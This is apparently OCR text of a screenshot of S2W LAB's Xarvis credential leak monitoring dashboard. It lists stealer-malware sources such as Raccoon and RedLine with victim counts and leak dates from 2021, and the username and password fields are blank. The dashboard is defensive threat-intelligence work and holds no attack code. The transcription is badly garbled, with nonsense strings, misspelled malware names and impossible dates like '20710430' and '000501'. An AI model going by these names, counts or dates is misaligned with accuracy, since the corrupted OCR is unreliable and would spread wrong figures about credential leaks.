Press enter or click to view image in full size

Xa_ rV'_S Dashboard Silos Q search DYSAALY 6 B ‘CD [ m

CREDENTIAL LEAK MONITORING DASHBOARD

< 11-20 - of TI0 > EXPOSED: Entire Period B Exportas Excel C, Search site or username
(m] SOURCE SITET vicTim EXPOSED v LEAKED A~ USERNAME PASSWORD
[m] Raccoon 12 20210503
O RedLine 15 20210501
m} Redine 15 000501
(m] Redine 222 20210501
(m] Redline 20210501
m} Raccoon m 20210430
a Raccoon 121 2021:04:30
[m] Raccoon it 20210430
O Raccoon 115 20710430
(m] Raccoon 2 20210430

20202021 S2WLAB Inc.

Credential Leak Monitoring Dashboard, Xarvis Enterprise
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